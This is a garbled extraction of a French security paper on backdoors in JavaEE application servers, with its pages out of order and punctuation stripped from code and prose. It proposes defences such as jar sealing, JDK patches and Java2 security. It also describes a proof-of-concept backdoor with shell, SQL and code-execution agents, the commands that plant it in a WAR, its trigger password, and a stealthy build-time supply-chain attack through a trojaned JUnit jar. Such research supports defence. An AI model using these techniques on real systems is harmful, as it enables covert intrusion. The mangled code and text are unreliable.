-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
